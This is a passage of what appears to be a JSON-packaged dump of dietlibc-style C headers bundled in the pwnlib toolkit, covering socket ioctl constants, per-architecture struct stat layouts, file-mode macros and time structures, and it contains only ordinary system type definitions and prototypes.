address lists\t*/\n#define SIOCDELMULTI\t0x8932\n#define SIOCGIFINDEX\t0x8933\t\t/* name -> if_index mapping\t*/\n#define SIOGIFINDEX\tSIOCGIFINDEX\t/* misprint compatibility :-)\t*/\n#define SIOCSIFPFLAGS\t0x8934\t\t/* set/get extended flags set\t*/\n#define SIOCGIFPFLAGS\t0x8935\n#define SIOCDIFADDR\t0x8936\t\t/* delete PA address\t\t*/\n#define SIOCSIFHWBROADCAST\t0x8937\t/* set hardware broadcast addr\t*/\n#define SIOCGIFCOUNT\t0x8938\t\t/* get number of devices */\n\n#define SIOCGIFBR\t0x8940\t\t/* Bridging support\t\t*/\n#define SIOCSIFBR\t0x8941\t\t/* Set bridging options \t*/\n\n#define SIOCGIFTXQLEN\t0x8942\t\t/* Get the tx queue length\t*/\n#define SIOCSIFTXQLEN\t0x8943\t\t/* Set the tx queue length \t*/\n\n#define SIOCGIFDIVERT\t0x8944\t\t/* Frame diversion support */\n#define SIOCSIFDIVERT\t0x8945\t\t/* Set frame diversion options */\n\n#define SIOCETHTOOL\t0x8946\t\t/* Ethtool interface\t\t*/\n\n/* ARP cache control calls. */\n\t\t    /*  0x8950 - 0x8952  * obsolete calls, don't re-use */\n#define SIOCDARP\t0x8953\t\t/* delete ARP table entry\t*/\n#define SIOCGARP\t0x8954\t\t/* get ARP table entry\t\t*/\n#define SIOCSARP\t0x8955\t\t/* set ARP table entry\t\t*/\n\n/* RARP cache control calls. */\n#define SIOCDRARP\t0x8960\t\t/* delete RARP table entry\t*/\n#define SIOCGRARP\t0x8961\t\t/* get RARP table entry\t\t*/\n#define SIOCSRARP\t0x8962\t\t/* set RARP table entry\t\t*/\n\n/* Driver configuration calls */\n\n#define SIOCGIFMAP\t0x8970\t\t/* Get device parameters\t*/\n#define SIOCSIFMAP\t0x8971\t\t/* Set device parameters\t*/\n\n/* DLCI configuration calls */\n\n#define SIOCADDDLCI\t0x8980\t\t/* Create new DLCI device\t*/\n#define SIOCDELDLCI\t0x8981\t\t/* Delete DLCI device\t\t*/\n\n#define SIOCDEVPRIVATE\t0x89F0\t\t/* to 89FF */\n\n#define _LINUX_SOCKET_H\n\n__END_DECLS\n\n#endif\n"
  },
  {
    "path": "pwnlib/data/includes/generator/linux/diet/sys/stat.h",
    "content": "#ifndef _SYS_STAT_H\n#define _SYS_STAT_H\n\n#include <sys/cdefs.h>\n#include <sys/types.h>\n#include <endian.h>\n\n__BEGIN_DECLS\n\n#if defined(__i386__)\n\nstruct stat {\n\tuint32_t\tst_dev;\n\tunsigned long\tst_ino;\n\tuint16_t\tst_mode;\n\tuint16_t\tst_nlink;\n\tuint16_t\tst_uid;\n\tuint16_t\tst_gid;\n\tuint32_t\tst_rdev;\n\tunsigned long\tst_size;\n\tunsigned long\tst_blksize;\n\tunsigned long\tst_blocks;\n\ttime_t\t\tst_atime;\n\tunsigned long\tst_atime_nsec;\n\ttime_t\t\tst_mtime;\n\tunsigned long\tst_mtime_nsec;\n\ttime_t\t\tst_ctime;\n\tunsigned long\tst_ctime_nsec;\n\tunsigned long\t__unused4;\n\tunsigned long\t__unused5;\n};\n\nstruct stat64 {\n\tuint64_t\tst_dev;\n\tunsigned char\t__pad0[4];\n\n#define STAT64_HAS_BROKEN_ST_INO\t1\n\tunsigned long\t__st_ino;\n\n\tuint32_t\tst_mode;\n\tuint32_t\tst_nlink;\n\n\tunsigned long\tst_uid;\n\tunsigned long\tst_gid;\n\n\tuint64_t\tst_rdev;\n\tunsigned char\t__pad3[4];\n\n__extension__\tlong long\tst_size __attribute__((__packed__));\n\tunsigned long\tst_blksize;\n\n\tuint64_t\tst_blocks;\t/* Number 512-byte blocks allocated. */\n\n\ttime_t\t\tst_atime;\n\tunsigned long\tst_atime_nsec;\n\n\ttime_t\t\tst_mtime;\n\tunsigned long\tst_mtime_nsec;\n\n\ttime_t\t\tst_ctime;\n\tunsigned long\tst_ctime_nsec;\n\n__extension__\tunsigned long long\tst_ino __attribute__((__packed__));\n};\n#elif defined(__sparc__) && defined(__arch64__)\n\nstruct stat {\n\tuint32_t  st_dev;\n\tunsigned long   st_ino;\n\tuint32_t  st_mode;\n\tint16_t   st_nlink;\n\tuint32_t   st_uid;\n\tuint32_t   st_gid;\n\tuint32_t  st_rdev;\n\tlong   st_size;\n\ttime_t  st_atime;\n\ttime_t  st_mtime;\n\ttime_t  st_ctime;\n\tlong   st_blksize;\n\tlong   st_blocks;\n\tunsigned long  __unused4[2];\n};\n\nstruct stat64 {\n\tunsigned long\tst_dev, st_ino, st_nlink;\n\tunsigned int\tst_mode, st_uid, st_gid, __pad0;\n\tunsigned long\tst_rdev;\n\tlong\t\tst_size, st_blksize, st_blocks;\n\tunsigned long\tst_atime,st_atime_nsec,st_mtime,st_mtime_nsec,st_ctime,st_ctime_nsec;\n\tlong __unused[3];\n};\n\n#elif defined(__sparc__)\n\nstruct stat {\n\tuint16_t\tst_dev;\n\tunsigned long\tst_ino;\n\tuint16_t\tst_mode;\n\tint16_t\t\tst_nlink;\n\tuint16_t\tst_uid;\n\tuint16_t\tst_gid;\n\tuint16_t\tst_rdev;\n\tlong\t\tst_size;\n\ttime_t\t\tst_atime;\n\tunsigned long\t__unused1;\n\ttime_t\t\tst_mtime;\n\tunsigned long\t__unused2;\n\ttime_t\t\tst_ctime;\n\tunsigned long\t__unused3;\n\tlong\t\tst_blksize;\n\tlong\t\tst_blocks;\n\tunsigned long\t__unused4[2];\n};\n\nstruct stat64 {\n\tuint64_t\tst_dev, st_ino;\n\tuint32_t\tst_mode, st_nlink, st_uid, st_gid;\n\tuint64_t\tst_rdev;\n\tunsigned char\t__pad3[8];\n\n\tint64_t\t\tst_size;\n\tuint32_t\tst_blksize;\n\n\tunsigned char\t__pad4[8];\n\tuint32_t\tst_blocks;\n\n\ttime_t\t\tst_atime;\n\tuint32_t\tst_atime_nsec;\n\n\ttime_t\t\tst_mtime;\n\tuint32_t\tst_mtime_nsec;\n\n\ttime_t\t\tst_ctime;\n\tuint32_t\tst_ctime_nsec;\n\n\tuint32_t\t__unused4;\n\tuint32_t\t__unused5;\n};\n\n#elif defined(__alpha__)\n\nstruct stat {\n\tuint32_t\tst_dev;\n\tuint32_t\tst_ino;\n\tuint32_t\tst_mode;\n\tuint32_t\tst_nlink;\n\tuint32_t\tst_uid;\n\tuint32_t\tst_gid;\n\tuint32_t\tst_rdev;\n\tsigned long\tst_size;\n\ttime_t\t\tst_atime;\n\ttime_t\t\tst_mtime;\n\ttime_t\t\tst_ctime;\n\tuint32_t\tst_blksize;\n\tint32_t\t\tst_blocks;\n\tuint32_t\tst_flags;\n\tuint32_t\tst_gen;\n};\n\nstruct stat64 {\n        unsigned long   st_dev;\n        unsigned long   st_ino;\n        unsigned long   st_rdev;\n        long            st_size;\n        unsigned long   st_blocks;\n\n        unsigned int    st_mode;\n        unsigned int    st_uid;\n        unsigned int    st_gid;\n        unsigned int    st_blksize;\n        unsigned int    st_nlink;\n        unsigned int    __pad0;\n\n        unsigned long   st_atime;\n        unsigned long   st_atime_nsec;\n        unsigned long   st_mtime;\n        unsigned long   st_mtime_nsec;\n        unsigned long   st_ctime;\n        unsigned long   st_ctime_nsec;\n        long            __unused[3];\n};\n\n#elif defined(__mips64__)\n\n/* The memory layout is the same as of struct stat64 of the 32-bit kernel.  */\nstruct stat {\n\tunsigned int\tst_dev;\n\tunsigned int\tst_pad0[3]; /* Reserved for st_dev expansion */\n\tunsigned long\tst_ino;\n\tuint32_t\tst_mode;\n\tuint32_t\tst_nlink;\n\tuint32_t\tst_uid;\n\tuint32_t\tst_gid;\n\tunsigned int\tst_rdev;\n\tunsigned int\tst_pad1[3]; /* Reserved for st_rdev expansion */\n\tlong\t\tst_size;\n\t/* WTF? the mips64 kernel interface uses 32bit unsigned int for time_t? */\n\tunsigned int\tst_atime;\n\tunsigned int\tst_atime_nsec;\n\tunsigned int\tst_mtime;\n\tunsigned int\tst_mtime_nsec;\n\tunsigned int\tst_ctime;\n\tunsigned int\tst_ctime_nsec;\n\tunsigned int\tst_blksize;\n\tunsigned int\tst_pad2;\n\tunsigned long\tst_blocks;\n};\n\n/* Define struct stat64 to be identical, even though the kernel only knows struct stat. */\nstruct stat64 {\n\tunsigned int\tst_dev;\n\tunsigned int\tst_pad0[3];\n\tunsigned long\tst_ino;\n\tuint32_t\tst_mode;\n\tuint32_t\tst_nlink;\n\tuint32_t\tst_uid;\n\tuint32_t\tst_gid;\n\tunsigned int\tst_rdev;\n\tunsigned int\tst_pad1[3];\n\tlong\t\tst_size;\n\tunsigned int\tst_atime;\n\tunsigned int\tst_atime_nsec;\n\tunsigned int\tst_mtime;\n\tunsigned int\tst_mtime_nsec;\n\tunsigned int\tst_ctime;\n\tunsigned int\tst_ctime_nsec;\n\tunsigned int\tst_blksize;\n\tunsigned int\tst_pad2;\n\tunsigned long\tst_blocks;\n};\n\n#elif defined(__mips__)\n\nstruct stat {\n\tuint32_t\tst_dev;\n\tlong\t\tst_pad1[3];\t\t/* Reserved for network id */\n\tino_t\t\tst_ino;\n\tuint32_t\tst_mode;\n\tint32_t\t\tst_nlink;\n\tint32_t\t\tst_uid;\n\tint32_t\t\tst_gid;\n\tuint32_t\tst_rdev;\n\tlong\t\tst_pad2[2];\n\tlong\t\tst_size;\n\tlong\t\tst_pad3;\n\t/*\n\t * Actually this should be timestruc_t st_atime, st_mtime and st_ctime\n\t * but we don't have it under Linux.\n\t */\n\ttime_t\t\tst_atime;\n\tlong\t\tst_atime_nsec;\n\ttime_t\t\tst_mtime;\n\tlong\t\tst_mtime_nsec;\n\ttime_t\t\tst_ctime;\n\tlong\t\tst_ctime_nsec;\n\tlong\t\tst_blksize;\n\tlong\t\tst_blocks;\n\tchar\t\tst_fstype[16];\t/* Filesystem type name */\n\tlong\t\tst_pad4[14];\n};\n\nstruct stat64 {\n\tunsigned long\tst_dev;\n\tunsigned long\tst_pad0[3];\t/* Reserved for st_dev expansion  */\n__extension__ unsigned long long\tst_ino;\n\tuint32_t\tst_mode;\n\tuint32_t\tst_nlink;\n\tuint32_t\tst_uid;\n\tuint32_t\tst_gid;\n\tunsigned long\tst_rdev;\n\tunsigned long\tst_pad1[3];\t/* Reserved for st_rdev expansion  */\n__extension__ long long\tst_size;\n\t/*\n\t * Actually this should be timestruc_t st_atime, st_mtime and st_ctime\n\t * but we don't have it under Linux.\n\t */\n\ttime_t\t\tst_atime;\n\tunsigned long\treserved0;\t/* Reserved for st_atime expansion  */\n\ttime_t\t\tst_mtime;\n\tunsigned long\treserved1;\t/* Reserved for st_atime expansion  */\n\ttime_t\t\tst_ctime;\n\tunsigned long\treserved2;\t/* Reserved for st_atime expansion  */\n\tunsigned long\tst_blksize;\n\tunsigned long\tst_pad2;\n__extension__ long long\tst_blocks;\n};\n#elif defined(__powerpc__) || defined(__powerpc64__)\n\n#if defined(__powerpc__) && !defined(__powerpc64__)\nstruct stat {\n\tdev_t\t\tst_dev;\n\tino_t\t\tst_ino;\n\tmode_t\t\tst_mode;\n\tnlink_t\t\tst_nlink;\n\tuid_t\t\tst_uid;\n\tgid_t\t\tst_gid;\n\tdev_t\t\tst_rdev;\n\toff_t\t\tst_size;\n\tunsigned long\tst_blksize;\n\tunsigned long\tst_blocks;\n\ttime_t\t\tst_atime;\n\tunsigned long\t__unused1;\n\ttime_t\t\tst_mtime;\n\tunsigned long\t__unused2;\n\ttime_t\t\tst_ctime;\n\tunsigned long\t__unused3;\n\tunsigned long\t__unused4;\n\tunsigned long\t__unused5;\n};\n#else\nstruct stat {\n\tunsigned long\tst_dev;\n\tino_t\t\tst_ino;\n\tnlink_t\t\tst_nlink;\n\tuint32_t\tst_mode;\n\tuint32_t \tst_uid;\n\tuint32_t \tst_gid;\n\tunsigned long\tst_rdev;\n\toff_t\t\tst_size;\n\tunsigned long\tst_blksize;\n\tunsigned long\tst_blocks;\n\ttime_t\t\tst_atime;\n\tunsigned long\tst_atime_nsec;\n\ttime_t\t\tst_mtime;\n\tunsigned long\tst_mtime_nsec;\n\ttime_t\t\tst_ctime;\n\tunsigned long\tst_ctime_nsec;\n\tunsigned long\t__unused4;\n\tunsigned long\t__unused5;\n\tunsigned long\t__unused6;\n};\n#endif\n\n/* This matches struct stat64 in glibc2.1.\n */\nstruct stat64 {\n__extension__\tunsigned long long st_dev; \t/* Device.  */\n__extension__\tunsigned long long st_ino;\t/* File serial number.  */\n\tuint32_t st_mode;\t\t/* File mode.  */\n\tuint32_t st_nlink;\t\t/* Link count.  */\n\tuint32_t st_uid;\t\t/* User ID of the file's owner.  */\n\tuint32_t st_gid;\t\t/* Group ID of the file's group. */\n__extension__\tunsigned long long st_rdev; \t/* Device number, if device.  */\n\tuint16_t __pad2;\n__extension__\tlong long st_size;\t\t/* Size of file, in bytes.  */\n\tlong st_blksize;\t\t/* Optimal block size for I/O.  */\n\n__extension__\tlong long st_blocks;\t\t/* Number 512-byte blocks allocated. */\n\ttime_t st_atime;\t\t\t/* Time of last access.  */\n\tunsigned long int __unused1;\n\ttime_t st_mtime;\t\t\t/* Time of last modification.  */\n\tunsigned long int __unused2;\n\ttime_t st_ctime;\t\t\t/* Time of last status change.  */\n\tunsigned long int __unused3;\n\tunsigned long int __unused4;\n\tunsigned long int __unused5;\n};\n#elif defined(__arm__)\nstruct stat {\n\tuint32_t\tst_dev;\n\tunsigned long\tst_ino;\n\tuint16_t\tst_mode;\n\tuint16_t\tst_nlink;\n\tuint16_t\tst_uid;\n\tuint16_t\tst_gid;\n\tuint32_t\tst_rdev;\n\tunsigned long\tst_size;\n\tunsigned long\tst_blksize;\n\tunsigned long\tst_blocks;\n\ttime_t\t\tst_atime;\n\tunsigned long\tst_atime_nsec;\n\ttime_t\t\tst_mtime;\n\tunsigned long\tst_mtime_nsec;\n\ttime_t\t\tst_ctime;\n\tunsigned long\tst_ctime_nsec;\n\tunsigned long\t__unused4;\n\tunsigned long\t__unused5;\n};\n\n/* This matches struct stat64 in glibc2.1, hence the absolutely\n * insane amounts of padding around dev_t's.\n */\nstruct stat64 {\n\tuint64_t\tst_dev;\n\tunsigned char\t__pad0[4];\n\n#define STAT64_HAS_BROKEN_ST_INO\t1\n\tunsigned long\t__st_ino;\n\tuint32_t\tst_mode;\n\tuint32_t\tst_nlink;\n\n\tunsigned long\tst_uid;\n\tunsigned long\tst_gid;\n\n\tuint64_t\tst_rdev;\n\tunsigned char\t__pad3[4];\n\n__extension__\tlong long\tst_size;\n\tunsigned long\tst_blksize;\n\n\tuint64_t\tst_blocks;\t/* Number 512-byte blocks allocated. */\n\n\ttime_t\t\tst_atime;\n\tunsigned long\tst_atime_nsec;\n\n\ttime_t\t\tst_mtime;\n\tunsigned long\tst_mtime_nsec;\n\n\ttime_t\t\tst_ctime;\n\tunsigned long\tst_ctime_nsec;\n\n__extension__\tunsigned long long\tst_ino;\n};\n#elif defined(__aarch64__)\n\nstruct stat {\n\tunsigned long\tst_dev;\n\tunsigned long\tst_ino;\n\tunsigned int\tst_mode;\n\tunsigned int\tst_nlink;\n\tunsigned int\tst_uid;\n\tunsigned int\tst_gid;\n\tunsigned long\tst_rdev;\n\tunsigned long\t__pad1;\n\tlong\t\tst_size;\n\tint\t\tst_blksize;\n\tint\t\t__pad2;\n\tlong\t\tst_blocks;\n\ttime_t\t \tst_atime;\n\tlong\t\tst_atime_nsec;\n\ttime_t\t \tst_mtime;\n\tlong\t\tst_mtime_nsec;\n\ttime_t\t \tst_ctime;\n\tlong\t\tst_ctime_nsec;\n\tint\t\t__unused1;\n\tint\t\t__unused2;\n};\n\nstruct stat64 {\n\tunsigned long\tst_dev;\n\tunsigned long\tst_ino;\n\tunsigned int\tst_mode;\n\tunsigned int\tst_nlink;\n\tunsigned int\tst_uid;\n\tunsigned int\tst_gid;\n\tunsigned long\tst_rdev;\n\tunsigned long\t__pad1;\n\tlong\t\tst_size;\n\tint\t\tst_blksize;\n\tint\t\t__pad2;\n\tlong\t\tst_blocks;\n\ttime_t\t \tst_atime;\n\tlong\t\tst_atime_nsec;\n\ttime_t\t \tst_mtime;\n\tlong\t\tst_mtime_nsec;\n\ttime_t\t \tst_ctime;\n\tlong\t\tst_ctime_nsec;\n\tint\t\t__unused1;\n\tint\t\t__unused2;\n};\n\n#elif defined(__s390__)\n#if defined(__s390x__)\nstruct stat {\n        unsigned long\tst_dev;\n        unsigned long\tst_ino;\n        unsigned long\tst_nlink;\n        uint32_t\tst_mode;\n        uint32_t\tst_uid;\n        uint32_t\tst_gid;\n        uint32_t\t__pad1;\n        unsigned long\tst_rdev;\n        unsigned long\tst_size;\n        time_t\t\tst_atime;\n        unsigned long\tst_atime_nsec;    /* reserved for atime.nanoseconds */\n        time_t\t\tst_mtime;\n        unsigned long\tst_mtime_nsec;    /* reserved for mtime.nanoseconds */\n        time_t\t\tst_ctime;\n        unsigned long\tst_ctime_nsec;    /* reserved for ctime.nanoseconds */\n        unsigned long\tst_blksize;\n        long\t\tst_blocks;\n        unsigned long\t__unused[3];\n};\n#else\nstruct stat {\n\tuint16_t\tst_dev;\n\tuint16_t\t__pad1;\n\tunsigned long\tst_ino;\n\tuint16_t\tst_mode;\n\tuint16_t\tst_nlink;\n\tuint16_t\tst_uid;\n\tuint16_t\tst_gid;\n\tuint16_t\tst_rdev;\n\tuint16_t\t__pad2;\n\tunsigned long\tst_size;\n\tunsigned long\tst_blksize;\n\tunsigned long\tst_blocks;\n\ttime_t\t\tst_atime;\n\tunsigned long\tst_atime_nsec;\n\ttime_t\t\tst_mtime;\n\tunsigned long\tst_mtime_nsec;\n\ttime_t\t\tst_ctime;\n\tunsigned long\tst_ctime_nsec;\n\tunsigned long\t__unused4;\n\tunsigned long\t__unused5;\n};\n#endif\nstruct stat64 {\n\tuint64_t\tst_dev;\n\tuint32_t\t__pad1;\n#define STAT64_HAS_BROKEN_ST_INO\t1\n\tunsigned long\t__st_ino;\n\tuint32_t\tst_mode;\n\tuint32_t\tst_nlink;\n\tunsigned long\tst_uid;\n\tunsigned long\tst_gid;\n\tuint64_t\tst_rdev;\n\tuint32_t\t__pad3;\n__extension__\tlong long\tst_size;\n\tunsigned long\tst_blksize;\n\tunsigned char\t__pad4[4];\n\tunsigned long\t__pad5; \t/* future possible st_blocks high bits */\n\tunsigned long\tst_blocks;\t/* Number 512-byte blocks allocated. */\n\ttime_t\t\tst_atime;\n\tunsigned long\tst_atime_nsec;\n\ttime_t\t\tst_mtime;\n\tunsigned long\tst_mtime_nsec;\n\ttime_t\t\tst_ctime;\n\tunsigned long\tst_ctime_nsec;\n__extension__\tunsigned long long\tst_ino;\n};\n\n#elif defined(__hppa__)\n\nstruct stat {\n       unsigned long\tst_dev;         /* dev_t is 32 bits on parisc */\n       unsigned long\tst_ino;         /* 32 bits */\n       uint16_t\t\tst_mode;        /* 16 bits */\n       uint16_t\t\tst_nlink;       /* 16 bits */\n       uint16_t\t\tst_reserved1;   /* old st_uid */\n       uint16_t\t\tst_reserved2;   /* old st_gid */\n       unsigned long\tst_rdev;\n       unsigned long\tst_size;\n       time_t\t\tst_atime;\n       unsigned long\tst_atime_nsec;\n       time_t\t\tst_mtime;\n       unsigned long\tst_mtime_nsec;\n       time_t\t\tst_ctime;\n       unsigned long\tst_ctime_nsec;\n       long\t\tst_blksize;\n       long\t\tst_blocks;\n       unsigned long\t__unused1;      /* ACL stuff */\n       unsigned long\t__unused2;      /* network */\n       unsigned long\t__unused3;      /* network */\n       unsigned long\t__unused4;      /* cnodes */\n       uint16_t\t\t__unused5;      /* netsite */\n       int16_t\t\tst_fstype;\n       unsigned long\tst_realdev;\n       uint16_t\t\tst_basemode;\n       uint16_t\t\tst_spareshort;\n       unsigned long\tst_uid;\n       unsigned long\tst_gid;\n       unsigned long\tst_spare4[3];\n};\n\nstruct stat64 {\n\tunsigned long long st_dev;\n\tuint32_t\t__pad1;\n#define STAT64_HAS_BROKEN_ST_INO\t1\n\tunsigned long\t__st_ino;\n\tunsigned long\tst_mode;\n\tunsigned long\tst_nlink;\n\tunsigned long\tst_uid;\n\tunsigned long\tst_gid;\n\tunsigned long long st_rdev;\n\tuint32_t\t__pad2;\n\tunsigned long long st_size;\n\tunsigned long\tst_blksize;\n\n\tunsigned long long st_blocks;\n \ttime_t\t\tst_atime;\n\tunsigned long\tst_atime_nsec;\n\ttime_t\t\tst_mtime;\n\tunsigned long\tst_mtime_nsec;\n\ttime_t\t\tst_ctime;\n\tunsigned long\tst_ctime_nsec;\n\tunsigned long long st_ino;\n};\n\n#elif defined(__x86_64__) && !defined(__ILP32__)\n\nstruct stat {\n\tunsigned long\tst_dev;\n\tunsigned long\tst_ino;\n\tunsigned long\tst_nlink;\n\tuint32_t\tst_mode;\n\tuint32_t\tst_uid;\n\tuint32_t\tst_gid;\n\tuint32_t\t__pad0;\n\tunsigned long\t st_rdev;\n\tunsigned long\tst_size;\n\tunsigned long\tst_blksize;\n\tunsigned long\tst_blocks;\n\ttime_t\t\tst_atime;\n\tunsigned long\tst_atime_nsec;\n\ttime_t\t\tst_mtime;\n\tunsigned long\tst_mtime_nsec;\n\ttime_t\t\tst_ctime;\n\tunsigned long\tst_ctime_nsec;\n\tlong\t\t__unused[3];\n};\n\n#elif defined(__x86_64__)\n\n/* for X32 */\n\nstruct stat {\n\tuint64_t\tst_dev, st_ino, st_nlink;\n\tuint32_t\tst_mode, st_uid, st_gid, __pad0;\n\tuint64_t\tst_rdev;\n\tint64_t\t\tst_size, st_blksize, st_blocks;\n\ttime_t\t\tst_atime;\n\tuint64_t\tst_atime_nsec;\n\ttime_t\t\tst_mtime;\n\tuint64_t\tst_mtime_nsec;\n\ttime_t\t\tst_ctime;\n\tuint64_t\tst_ctime_nsec;\n\tuint64_t\t__unused[3];\n};\n\n#elif defined(__ia64__)\n\nstruct stat {\n\tunsigned long\tst_dev;\n\tunsigned long\tst_ino;\n\tunsigned long\tst_nlink;\n\tuint32_t\tst_mode;\n\tuint32_t\tst_uid;\n\tuint32_t\tst_gid;\n\tuint32_t\t__pad;\n\tunsigned long\tst_rdev;\n\tunsigned long\tst_size;\n\ttime_t\t\tst_atime;\n\tunsigned long\treserved;\n\ttime_t\t\tst_mtime;\n\tunsigned long\treserved2;\n\ttime_t\t\tst_ctime;\n\tunsigned long\treserved3;\n\tunsigned long\tst_blksize;\n\tlong\t\tst_blocks;\n\tunsigned long\tpad[3];\n};\n\n#endif\n\n#define S_IFMT\t       00170000\n#define S_IFSOCK\t0140000\n#define S_IFLNK\t\t0120000\n#define S_IFREG\t\t0100000\n#define S_IFBLK\t\t0060000\n#define S_IFDIR\t\t0040000\n#define S_IFCHR\t\t0020000\n#define S_IFIFO\t\t0010000\n#define S_ISUID\t\t0004000\n#define S_ISGID\t\t0002000\n#define S_ISVTX\t\t0001000\n\n#define S_ISLNK(m)\t(((m) & S_IFMT) == S_IFLNK)\n#define S_ISREG(m)\t(((m) & S_IFMT) == S_IFREG)\n#define S_ISDIR(m)\t(((m) & S_IFMT) == S_IFDIR)\n#define S_ISCHR(m)\t(((m) & S_IFMT) == S_IFCHR)\n#define S_ISBLK(m)\t(((m) & S_IFMT) == S_IFBLK)\n#define S_ISFIFO(m)\t(((m) & S_IFMT) == S_IFIFO)\n#define S_ISSOCK(m)\t(((m) & S_IFMT) == S_IFSOCK)\n\n#define S_IRWXU 00700\n#define S_IRUSR 00400\n#define S_IWUSR 00200\n#define S_IXUSR 00100\n\n#define S_IRWXG 00070\n#define S_IRGRP 00040\n#define S_IWGRP 00020\n#define S_IXGRP 00010\n\n#define S_IRWXO 00007\n#define S_IROTH 00004\n#define S_IWOTH 00002\n#define S_IXOTH 00001\n\nextern int stat(const char *__file, struct stat *__buf) __THROW;\nextern int fstat(int __fd, struct stat *__buf) __THROW;\nextern int lstat(const char *__file, struct stat *__buf) __THROW;\n\n#if (__WORDSIZE == 64) || defined(__OFF_T_MATCHES_OFF64_T)\n#define __NO_STAT64\n#else\nextern int stat64(const char *__file, struct stat64 *__buf) __THROW;\nextern int fstat64(int __fd, struct stat64 *__buf) __THROW;\nextern int lstat64(const char *__file, struct stat64 *__buf) __THROW;\n\n#if defined _FILE_OFFSET_BITS && _FILE_OFFSET_BITS == 64\n#define lstat lstat64\n#define fstat fstat64\n#define stat stat64\n#define pread pread64\n#define pwrite pwrite64\n#endif\n#endif\n\n#define major(dev) ({ unsigned long long l=(dev); ((l>>8) & 0xfff) | (l >> 32) & 0xfffff000; })\n#define minor(dev) ({ unsigned long long l=(dev); (l & 0xff) | ((l>>12)&0xffffff00); })\n#define makedev(maj,min) ({ unsigned long long a=(maj), i=(min); ((a&0xfff)<<8) | (i&0xff) | ((a&~0xfff)<<32) | ((i&0xfffff00)<<12); })\n\nextern int chmod (const char *__file, mode_t __mode) __THROW;\nextern int fchmod (int __fd, mode_t __mode) __THROW;\nextern mode_t umask (mode_t __mask) __THROW;\nextern int mkdir (const char *__path, mode_t __mode) __THROW;\nextern int mknod (const char *__path, mode_t __mode, dev_t __dev) __THROW;\nextern int mkfifo (const char *__path, mode_t __mode) __THROW;\n\n#define S_IREAD S_IRUSR\n#define S_IWRITE S_IWUSR\n#define S_IEXEC S_IXUSR\n\n#if defined(_ATFILE_SOURCE) || ((_XOPEN_SOURCE + 0) >= 700) || ((_POSIX_C_SOURCE + 0) >= 200809L)\n/* also include fcntl.h for the AT_* constants */\n\nint fchmodat(int dirfd, const char *pathname, mode_t mode, int flags) __THROW;\nint fstatat(int dirfd, const char *pathname, struct stat *buf, int flags) __THROW;\nint mkdirat(int dirfd, const char *pathname, mode_t mode) __THROW;\nint mknodat(int dirfd, const char *pathname, mode_t mode, dev_t dev) __THROW;\nint mkfifoat(int dirfd, const char *pathname, mode_t mode) __THROW;\nint utimensat(int dirfd, const char *pathname, struct timespec* t,int flags) __THROW;\n#endif\n\n__END_DECLS\n\n#endif\n"
  },
  {
    "path": "pwnlib/data/includes/generator/linux/diet/sys/time.h",
    "content": "#ifndef _SYS_TIME_H\n#define _SYS_TIME_H\t1\n\n#include <sys/cdefs.h>\n#include <sys/types.h>\n\n__BEGIN_DECLS\n\nstruct timespec {\n  time_t tv_sec;\t/* seconds */\n  long tv_nsec;\t\t/* nanoseconds */\n};\n\nstruct timeval {\n  time_t tv_sec;\t/* seconds */\n  suseconds_t tv_usec;\t/* microseconds */\n};\n\nstruct timezone {\n  int tz_minuteswest;\t/* minutes west of Greenwich */\n  int tz_dsttime;\t/* type of dst correction */\n};\n\n#include <sys/select.h>\n\n#define\tITIMER_REAL\t0\n#define\tITIMER_VIRTUAL\t1\n#define\tITIMER_PROF\t2\n\nstruct itimerspec {\n  struct timespec it_interval;\t/* timer period */\n  struct timespec it_value;\t/* timer expiration */\n};\n\nstruct itimerval {\n  struct timeval it_interval;\t/* timer interval */\n  struct timeval it_value;\t/* current value */\n};\n\n#if defined _GNU_SOURCE || defined _BSD_SOURCE\ntypedef struct timezone *__timezone_ptr_t;\n#else\ntypedef void *__timezone_ptr_t;\n#endif\n\nint getitimer(int which, struct itimerval *value) __THROW;\nint setitimer(int which, const struct itimerval *value, struct itimerval *ovalue) __THROW;\n\nint gettimeofday(struct timeval *tv, struct timezone *tz) __THROW;\nint settimeofday(const struct timeval *tv , const struct timezone *tz) __THROW;\n\nextern int adjtime (const struct timeval *delta, struct timeval *olddelta) __THROW;\n\nstruct tm {\n  int tm_sec;\t\t\t/* Seconds.\t[0-60] (1 leap second) */\n  int tm_min;\t\t\t/* Minutes.\t[0-59] */\n  int tm_hour;\t\t\t/* Hours.\t[0-23] */\n  int tm_mday;\t\t\t/* Day.\t\t[1-31] */\n  int tm_mon;\t\t\t/* Month.\t[0-11] */\n  int tm_year;\t\t\t/* Year - 1900. */\n  int tm_wday;\t\t\t/* Day of week.\t[0-6] */\n  int tm_yday;\t\t\t/* Days in year.[0-365]\t*/\n  int tm_isdst;\t\t\t/* DST.\t\t[-1/0/1]*/\n\n  long int tm_gmtoff;\t\t/* Seconds east of UTC.  */\n  const char *tm_zone;\t\t/* Timezone abbreviation.  */\n};\n\n#ifdef _BSD_SOURCE\n/* another wonderful BSD invention... :( */\n#define timercmp(a,b,CMP) (((a)->tv_sec == (b)->tv_sec) ? ((a)->tv_usec CMP (b)->tv_usec) : ((a)->tv_sec CMP (b)->tv_sec))\n#define timerclear(x) ((x)->tv_sec=(x)->tv_usec=0)\n#define timeradd(a,b,x) do { (x)->tv_sec=(a)->tv_sec+(b)->tv_sec; if (((x)->tv_usec=(a)->tv_usec+(b)->tv_usec)>=1000000) { ++(x)->tv_sec; (x)->tv_usec-=1000000; } } while (0)\n#define timersub(a,b,x) do { (x)->tv_sec=(a)->tv_sec-(b)->tv_sec; if (((x)->tv_usec=(a)->tv_usec-(b)->tv_usec)<0) { --(x)->tv_sec; (x)->tv_usec+=1000000; } } while (0)\n#define timerisset(x) ((x)->tv_sec || (x)->tv_usec)\n#endif\n\nint utimes(const char * filename, struct timeval * tvp) __THROW;\n\n__END_DECLS\n\n#endif\n"
  },
  {
    "path": "pwnlib/data/includes/generator/linux/diet/sys/types.h",
